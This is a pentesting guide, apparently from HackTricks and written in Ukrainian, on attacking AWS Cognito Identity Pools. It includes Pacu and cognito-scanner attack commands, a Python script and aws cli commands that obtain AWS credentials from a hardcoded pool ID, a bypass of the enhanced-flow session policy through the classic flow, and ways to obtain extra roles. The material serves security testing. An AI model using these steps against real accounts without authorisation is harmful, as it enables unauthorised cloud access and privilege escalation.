Cognito Identity Pools

Підтримайте HackTricks

Основна інформація

Пули ідентичності відіграють важливу роль, дозволяючи вашим користувачам отримувати тимчасові облікові дані. Ці облікові дані є необхідними для доступу до різних служб AWS, включаючи, але не обмежуючись Amazon S3 та DynamoDB. Важливою особливістю пулів ідентичності є підтримка як анонімних гостьових користувачів, так і ряду постачальників ідентичності для аутентифікації користувачів. Підтримувані постачальники ідентичності включають:

  • Пули користувачів Amazon Cognito

  • Соціальні опції входу, такі як Facebook, Google, Увійти за допомогою Amazon та Увійти за допомогою Apple

  • Постачальники, що відповідають вимогам OpenID Connect (OIDC)

  • Постачальники ідентичності SAML (Security Assertion Markup Language)

  • Підтверджені розробником ідентичності

# Sample code to demonstrate how to integrate an identity provider with an identity pool can be structured as follows:
import boto3

# Initialize the Amazon Cognito Identity client
client = boto3.client('cognito-identity')

# Assume you have already created an identity pool and obtained the IdentityPoolId
identity_pool_id = 'your-identity-pool-id'

# Add an identity provider to the identity pool
response = client.set_identity_pool_roles(
IdentityPoolId=identity_pool_id,
Roles={
'authenticated': 'arn:aws:iam::AWS_ACCOUNT_ID:role/AuthenticatedRole',
'unauthenticated': 'arn:aws:iam::AWS_ACCOUNT_ID:role/UnauthenticatedRole',
}
)

# Print the response from AWS
print(response)

Cognito Sync

Для генерації сеансів пулу ідентифікації спочатку потрібно створити ідентифікатор ідентичності. Цей ідентифікатор ідентичності є ідентифікацією сеансу цього користувача. Ці ідентифікації можуть містити до 20 наборів даних, в яких можна зберігати до 1 МБ пар ключ-значення.

Це корисно для збереження інформації про користувача (який завжди буде використовувати той самий ідентифікатор ідентичності).

Крім того, служба cognito-sync - це служба, яка дозволяє керувати та синхронізувати цю інформацію (у наборах даних, надсилаючи інформацію в потоки та повідомлення SNS...).

Інструменти для пентесту

  • Pacu, фреймворк експлуатації AWS, тепер включає модулі "cognito__enum" та "cognito__attack", які автоматизують перелік всіх активів Cognito в обліковому записі та позначають слабкі конфігурації, атрибути користувача, використані для контролю доступу тощо, а також автоматизують створення користувача (включаючи підтримку MFA) та підвищення привілеїв на основі змінних користувацьких атрибутів, використовуваних облікових даних пулу ідентичності, ролей, які можна припускати в ідентифікаційних токенах тощо.

Для опису функцій модулів див. частину 2 посту в блозі. Інструкції щодо установки див. на головній сторінці Pacu.

Використання

Приклад використання атаки cognito__attack для спроби створення користувача та всіх векторів підвищення привілеїв проти заданого пулу ідентичності та клієнта пулу користувачів:

Pacu (new:test) > run cognito__attack --username randomuser --email XX+sdfs2@gmail.com --identity_pools
us-east-2:a06XXXXX-c9XX-4aXX-9a33-9ceXXXXXXXXX --user_pool_clients
59f6tuhfXXXXXXXXXXXXXXXXXX@us-east-2_0aXXXXXXX

Приклад використання cognito__enum для збору всіх пулів користувачів, клієнтів пулу користувачів, пулів ідентичності, користувачів тощо, які видимі в поточному обліковому записі AWS:

Pacu (new:test) > run cognito__enum
  • Cognito Scanner - це інструмент командного рядка на Python, який реалізує різні атаки на Cognito, включаючи небажане створення облікового запису та ескалацію пулу ідентифікації.

Встановлення

$ pip install cognito-scanner

Використання

$ cognito-scanner --help

Для отримання додаткової інформації перевірте https://github.com/padok-team/cognito-scanner

Отримання ролей IAM

Неаутентифікований

Єдине, що потрібно знати зловмиснику для отримання облікових даних AWS в додатку Cognito як неаутентифікованому користувачу, це ID пулу ідентифікаторів, і цей ID повинен бути захардкоджений в веб- / мобільному додатку, щоб його використовувати. ID виглядає наступним чином: eu-west-1:098e5341-8364-038d-16de-1865e435da3b (його неможливо перебрати).

Роль IAM Cognito для неаутентифікованих користувачів, створена за допомогою, за замовчуванням називається Cognito_<Ім'я пулу ідентифікаторів>Unauth_Role

Якщо ви знаходите захардкоджений ID пулу ідентифікаторів та він дозволяє неаутентифікованим користувачам, ви можете отримати облікові дані AWS за допомогою:

import requests

region = "us-east-1"
id_pool_id = 'eu-west-1:098e5341-8364-038d-16de-1865e435da3b'
url = f'https://cognito-identity.{region}.amazonaws.com/'
headers = {"X-Amz-Target": "AWSCognitoIdentityService.GetId", "Content-Type": "application/x-amz-json-1.1"}
params = {'IdentityPoolId': id_pool_id}

r = requests.post(url, json=params, headers=headers)
json_resp = r.json()

if not "IdentityId" in json_resp:
print(f"Not valid id: {id_pool_id}")
exit

IdentityId = r.json()["IdentityId"]

params = {'IdentityId': IdentityId}

headers["X-Amz-Target"] = "AWSCognitoIdentityService.GetCredentialsForIdentity"
r = requests.post(url, json=params, headers=headers)

print(r.json())

Або ви можете використати наступні команди aws cli:

aws cognito-identity get-id --identity-pool-id <identity_pool_id> --no-sign
aws cognito-identity get-credentials-for-identity --identity-id <identity_id> --no-sign

Зверніть увагу, що за замовчуванням невідомий користувач Cognito НЕ може мати жодних дозволів, навіть якщо вони були надані через політику. Перевірте наступний розділ.

Покращений проти базового потоку аутентифікації

Попередній розділ слідував стандартному покращеному потоку аутентифікації. Цей потік встановлює обмежувальну політику сеансу для створеного сеансу ролі IAM. Ця політика дозволить сеансу лише використовувати послуги з цього списку (навіть якщо роль мала доступ до інших послуг).

Однак є спосіб обійти це, якщо Пул ідентичності має увімкнений "Базовий (Класичний) потік", користувач зможе отримати сеанс, використовуючи цей потік, який не матиме цієї обмежувальної політики сеансу.

# Get auth ID
aws cognito-identity get-id --identity-pool-id <identity_pool_id> --no-sign

# Get login token
aws cognito-identity get-open-id-token --identity-id <identity_id> --no-sign

# Use login token to get IAM session creds
## If you don't know the role_arn use the previous enhanced flow to get it
aws sts assume-role-with-web-identity --role-arn "arn:aws:iam::<acc_id>:role/<role_name>" --role-session-name sessionname --web-identity-token <token> --no-sign

Якщо ви отримали цю помилку, це через те, що базовий потік не увімкнено (типово)

An error occurred (InvalidParameterException) when calling the GetOpenIdToken operation: Basic (classic) flow is not enabled, please use enhanced flow.

Маючи набір облікових даних IAM, вам слід перевірити який доступ у вас є та спробувати підвищити привілеї.

Аутентифікований

Пам'ятайте, що аутентифікованим користувачам ймовірно будуть надані різні дозволи, тому якщо ви можете зареєструватися в додатку, спробуйте це зробити та отримати нові облікові дані.

Також можуть бути доступні ролі для аутентифікованих користувачів, які отримують доступ до пулу ідентифікаторів.

Для цього вам може знадобитися доступ до постачальника ідентичності. Якщо це Пул користувачів Cognito, можливо, ви можете зловживати типовою поведінкою та створити нового користувача самостійно.

Роль IAM Cognito, аутентифікована через, створена за замовчуванням називається Cognito_<Ім'я пулу ідентифікаторів>Auth_Role

У будь-якому випадку, наступний приклад передбачає, що ви вже увійшли в Пул користувачів Cognito, який використовується для доступу до пулу ідентифікаторів (не забудьте, що також можуть бути налаштовані інші типи постачальників ідентичності).

aws cognito-identity get-id \
--identity-pool-id <identity_pool_id> \
--logins cognito-idp.<region>.amazonaws.com/<YOUR_USER_POOL_ID>=<ID_TOKEN>

# Отримайте identity_id з попередньої відповіді на команду
aws cognito-identity get-credentials-for-identity \
--identity-id <identity_id> \
--logins cognito-idp.<region>.amazonaws.com/<YOUR_USER_POOL_ID>=<ID_TOKEN>


# У IdToken ви можете знайти ролі, до яких користувач має доступ через Групи Пулу користувачів
# Використовуйте --custom-role-arn, щоб отримати облікові дані для певної ролі
aws cognito-identity get-credentials-for-identity \
--identity-id <identity_id> \
    --custom-role-arn <role_arn> \
    --logins cognito-idp.<region>.amazonaws.com/<YOUR_USER_POOL_ID>=<ID_TOKEN>

Можливо налаштувати різні ролі IAM в залежності від постачальника ідентичності, в якого увійшов користувач або навіть просто в залежності від користувача (використовуючи твердження). Тому, якщо у вас є доступ до різних користувачів через той самий або різні постачальники, варто увійти та отримати доступ до ролей IAM всіх них.

Підтримайте HackTricks

Last updated